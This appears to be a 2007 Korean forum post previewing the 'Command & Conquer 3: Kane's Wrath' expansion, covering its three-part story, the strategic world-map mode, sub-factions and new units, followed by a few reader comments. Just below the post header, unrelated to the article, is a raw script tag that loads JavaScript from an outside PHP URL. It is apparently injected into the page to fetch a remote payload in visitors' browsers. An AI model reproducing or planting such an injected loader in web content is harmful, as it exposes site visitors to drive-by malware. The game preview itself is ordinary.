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[프리뷰]

커맨드 앤 컨커 3 케인의 분노

글쓴이 : betagam 날짜 : 2007-09-19 (수) 23:17 조회 : 16239


<SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script>

커맨드 & 컨커 시리즈는 무려 8년 만에 정식 후속편이 발매됨으로써 제2의 전성기를 맞는 느낌이다. ‘커맨드 & 컨커 3: 타이베리움 워’(이하 커맨드 & 컨커 = C&C로 표기)는 지난 봄 발매 후 원조 C&C에 혼을 팔았던 지금의 30대 초중반 게이머들, 그리고 새로운 RTS 게임을 원하던 뉴비들 모두 긍정적인 평가를 내렸다고 조심스럽게(?) 말하고 싶다. 해외의 매체나 게이머들 역시 후한 평점을 내리며 C&C의 부활을 반겼다.

그리고 이제 예상했던 수순으로 C&C3의 확장팩이 발표됐다. 부제는 그 이름도 화려한 ‘케인의 분노’! 정식 명칭 ‘커맨드 & 컨커 3: 케인의 분노’(이하 케인의 분노)는 게임 발표를 위해 EA에서 내보낸 인터넷 방송에서 밝혀졌듯 ‘케인을 위한’ 게임이 될 예정이라고 한다. 1편에서부터 내려온 그의 카리스마를 보존하기 위해 당시 케인 역을 맡았던 조 쿠건을 다시 원대복귀시킨 만큼 케인의 분노에도 케인이 등장하는 것은 이미 확실시 되고 있다.

지금부터 필자와 함께 게이머들이 케인의 분노를 제대로 느낄 수 있도록 본 게임에 장착될 다양한 무기들을 미리 구경해 보도록 하자.

케인의 분노에서 드러나는 2~3차 타이베리움 전쟁 전사(戰史)의 전모

케인의 분노는 확장팩 답지 않은 거대한 스케일로 우리 앞에 모습을 드러낼 예정이며, C&C 시리즈의 올드팬들을 위한 서비스까지 추가한 듯한 느낌을 물씬 풍긴다.

케인의 분노의 스토리는 전부 3개의 큰 파트로 구성되며, 1부는 C&C 2 타이베리안 썬: 파이어스톰의 마지막 - CABAL의 반란이 종식되고 케인이 행방불명 되는 그 때 - 부터 제 3차 타이베리움 전쟁이 일어날 때까지 도대체 무슨 일이 벌어졌는지 자세히 설명해주는 역할을 한다.

그리고 2부는 C&C3의 배경과 동일한 시간 동안 벌어지는 또 다른 이야기를, 마지막 3부에서는 C&C3의 마지막부터 완전히 새로운 스토리가 이어진다. 이러한 구성을 통해 C&C 2와 3 사이에 끊어졌던 스토리상의 고리를 완벽하게 이어주게 되는데, 이것은 보통 시퀄(sequel) 아니면 프리퀄(prequel) 한 가지로 고정되는 후속작의 관행(?)을 깨고 두 가지를 하나로 묶은 신선한 시도라고 봐도 좋다.

C&C의 올드팬이라면 이러한 게임 구조가 반갑게 느껴질 수 있겠지만, 한편으로는 ‘괜히 스토리를 억지로 끼워 맞추려 하지 말고 C&C3에 이어질 새로운 스토리나 충실히 만들어다오’라고 주장하는 경우도 있을 것이다. 하지만 1부 스토리는 괴멸된 브라더후드 오브 NOD(이하 NOD)가 어떻게 강대했던 세력을 되찾고 C&C3에서 화려하게 부활한 케인의 행적에 대해 궁금증을 풀어준다는 입장에서 보다 긍정적인 효과를 가져다 줄 것으로 기대된다.

마지막으로, 3부에서는 아마 게이머들이 가장 기대했던 본편 이후의 이야기, 그러니까 본편에도 등장했던 타키투스와 외계종족 스크린, 포털, 그리고 케인이 예고편에서 내뱉은 ‘승천을 준비하라’는 대사의 진정한 내막이 밝혀질 것으로 기대되며 C&C의 대단원의 막을 내릴 전망이다.

한편, C&C3는 존 쿠컨을 비롯해 마이클 아이언사이드, 빌리 디 윌리엄즈, 그레이스 박 등 화려한 캐스팅으로 주목 받았는데, 이번 케인의 복수 역시 그 전통을 이어갈 것이라고 하니 이 역시 기대되는 일이다. EA가 C&C 시리즈 내내 꾸준하게 선보이던 FMV의 퀄리티가 3편에 와서 최강이라는 평가를 받았고, 여기에 스토리 초반 2편과의 연결고리가 꿰어진다고 하니 과거를 주름잡았던 배우들이 깜짝 등장해 팬들을 놀라게 할지도 모르겠다.

더욱 확장되는 게임 스케일 - 팩션과 전략 레벨

일단 캠페인 진행에서부터 단순 확장팩을 넘어서는 스케일을 보여줄 것으로 예상되는 케인의 복수. 이 스케일은 게임 플레이에서도 고스란히 이어진다고 한다.

게임 플레이적 입장에서의 가장 큰 변화는 더 큰 시각으로 전장을 바라보는 전략적 플레이의 추가다. C&C나 스타나 대부분 한정된 영토 혹은 지역에서 벌어지는 국지전에 한정된 플레이가 전부였는데, 최근 토털 어나이얼레이션의 진정한 후속작인 수프림 커맨더에서 본격적인 풀-스케일 전략 플레이가 가능해져서 화제가 된 것을 기억한다면 이번 케인의 분노에 포함될 전략 레벨 전투가 C&C 시리즈에 얼마나 큰 변화를 가져올지 어렴풋이나마 짐작될 것이다.

커다란 전체 맵에서 게이머는 야전이 아닌 후방의 HQ에서 맵을 보며 전력을 배치하고, 한곳에서 본격적인 전투행동이 벌어지면 그곳으로 이동, 야전 사령관이 되어 소규모 전투에서 승리한다… 는 것이 지금까지 공개된 대략적인 전략 페이즈다. 전술 전투화면은 기존의 C&C3와 동일할 것이고, 여기에 각 세력의 국경선이 추가된다. 게이머의 기지는 어느 정도의 행동반경, 그리고 또 일정 정도의 인지 범위가 표시된다. 그리고 상대 세력이 이 경계 안으로 들어오면 전투가 벌어지는 것이다.

전투의 스케일이 커지면 영역 곳곳에 흩어진 기지들을 관리하기가 쉽지 않아진다. 이것을 위해 계층 시스템이라고 부를 수 있는 기능이 추가된다. 기본적인 컨스트럭션 야드, 정제소, 막사로 이루어진 기지는 파워 및 방어력 향상으로 업그레이드할 것인지, 아니면 다음 단계의 보강된 기지로 업그레이드할 것인지 정할 수 있다. 기지의 업그레이드 방향을 한번 정해놓으면 일일이 흩어진 기지들을 스크롤 해가면서 관리할 필요가 줄어들게 되어 보다 가벼운 마음(?)으로 전투에 임할 수 있다.

또 GDI, NOD, 스크린 세 종족에는 각 2가지씩의 서브-팩션을 두어, 각 진영별로 새로 추가될 유닛과 함께 이 서브-팩션의 특징, 전략을 혼합해 훨씬 더 새로운 플레이 형태를 만들어나갈 수 있다는 특징이 있다. 각 서브-팩션은 고유한 특수능력과 파워 등을 가지고 있기 때문에 같은 NOD라고 해도 게이머마다 또는 미션이 바뀔 때마다 이것저것 새로운 조합을 시험해 볼 수 있지 않을까 싶다.

지금까지 밝혀진 신규 유닛 - 그 정체는?

아쉽게도 스크린 종족의 유닛은 베일에 쌓인 채 그대로이다. 물론 ‘EA에서 공개할 것 다 해버리면 재미없겠지…’라고 필자 나름대로 생각하고 있지만, C&C3에서도 가장 마지막에 공개한 종족이 스크린이니 만큼 뭔가 획기적인 깜짝쇼가 펼쳐질 것이라 독자 여러분들도 기대해 주시길 바란다.

[NOD]
The Awakened - 머신건으로 무장한 사이보그로, 상대 보병에게 천적으로 작용한다. 또한 EMP 캐논까지 장착해 적 차량도 무력화할 수 있다고… 그렇다면 그야말로 만능? 설마…

Specter - NOD의 게릴라 전법에 안성맞춤인 스텔스 유닛으로, 어웨이큰의 EMP 캐논과 함께 시너지 효과를 발휘할 수 있는 유닛이다.

Reckoner ? 무장 병력을 수송하는 APC. 이동할 때는 공격 불가능이지만 산개하면 벙커로 변환되어 보병의 든든한 버팀목이 된다.

[GDI]
Hammerhead ? 새로운 비행 유닛으로 공군기지에 들러 탄약 보급을 받을 필요가 없다는 장점이 있다. 하지만 단점이 없다면 섭섭. 오로지 지상 목표물만 공격할 수 있고 대공 유닛이게는 치명적이다.

Shatterer ? 음파를 발사하는 호버 탱크. 한번에 여러 타겟을 동시에 공격할 수 있는 장점이 있으며, 포탑과는 달리 움직일 수 있다는 것 역시 활용도를 높이는 것 중 하나다.

여기서 한 가지 추가하자면, PC 버전과 거의 동일한 시기에 발매될 Xbox360 버전의 케인의 분노는 PC 버전과의 컨트롤 차이에서 오는 난이도 상승을 최대한 억제하기 위한 방편으로 원형 인터페이스를 채택했다고 한다(간단하고 ‘링 메뉴’라고 부르면 될 듯하다). 버튼으로 호출되는 링에서 D패드로 메뉴 아이콘을 이동시키는 것만으로 복잡한 명령을 한번에 내릴 수 있다.

케인, 케인, 케인 ? 이것만으로 만족할 수 있을까?

케인의 분노는 앞서 이야기한 것과 같이 주로 NOD의 관점에서 이야기를 풀어나가겠지만, 그것이 아쉽다면 새로운 서브-팩션이 존재하는 상대 진영을 멀티플레이에서는 마음껏 선택할 수 있으니 그쪽에 기대해보는 게 좋을 지도 모르겠다. 물론, 혹시라도 스토리 중간 중간에 GDI나 스크린으로 슬쩍 시점을 바꾸어 플레이 하는 미션이 있을 가능성 또한 농후하니 실망하는 것은 너무 이르다.

게임의 형태와 구조를 송두리째 바꿀 가능성이 농후한 ‘글로벌 도미네이션’, 즉 전략 모드가 아무래도 이번 작품의 성패를 좌우하게 되지 않을까 조심스레 예측하면서 내년 봄 확 까발려질(^^) 케인의 분노 예고편을 마치도록 하겠다. 마지막으로 케인의 말 한 마디를 다시 곱씹어보자.

‘승천을 준비하라’


김용식


멤버 (125.♡.70.36) 2007-09-21 (금) 07:27
조작을 쉽게 인터페이스를 개선했으면 좋겠다는 생각입니다. 언제까지나 RTS는 초슈퍼 손가락플레이어들에만 승패가 가는 게임이 되버릴수는 없다고 생각
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멤버 (125.♡.70.36) 2007-09-21 (금) 07:28
경고 시스템도 좀더 확실히 하고 보이스도 크게 하고 맵에 매우 강조적이고 크게 표시했으면 좋겠군요.
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낙제생의하루 (218.♡.33.17) 2008-01-02 (수) 14:32
팬서비스라는게 타이탄,울버린 뿐 아니라
[이 둘은 이미 공개했으니]

매머드MK2도 나와야하는거 아닌가 싶습니다.
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